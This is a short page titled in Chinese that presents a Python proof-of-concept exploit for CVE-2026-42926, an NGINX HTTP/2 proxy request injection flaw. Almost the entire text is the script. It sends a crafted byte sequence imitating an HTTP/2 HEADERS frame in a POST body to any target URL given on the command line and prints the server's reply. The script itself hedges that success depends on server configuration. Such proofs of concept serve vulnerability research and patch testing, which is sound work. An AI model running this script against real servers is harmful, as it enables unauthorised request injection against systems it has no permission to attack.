CVE-2026-42926 NGINX HTTP/2代理请求注入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42926 (NGINX HTTP/2 Proxy Request Injection) This script demonstrates sending a payload that might trigger the injection if the server is configured with 'proxy_http_version 2' and 'proxy_set_body'. Note: Actual exploitation depends on specific server configuration reflecting input. """ import httpx import sys def send_exploit(target_url): # Malicious payload designed to mimic HTTP/2 frame headers # if injected into the body stream upstream. # Example: A crafted byte sequence that could be interpreted as a HEADERS frame. # Format: Length (3 bytes) | Type (1 byte) | Flags (1 byte) | Stream ID (4 bytes) malicious_payload = b"\x00\x00\x10\x01\x04\x00\x00\x00\x01" + b"A" * 16 try: with httpx.Client(http2=True) as client: print(f"[*] Sending exploit payload to {target_url}") # Sending POST request with the malicious payload response = client.post(target_url, content=malicious_payload) print(f"[*] Status Code: {response.status_code}") print("[*] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") print("[*] Response Body (first 200 bytes):") print(response.text[:200]) except httpx.ConnectError: print("[-] Connection failed. Target may be unreachable.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_url>") print("Example: python3 poc.py http://localhost:8080") sys.exit(1) url = sys.argv[1] send_exploit(url)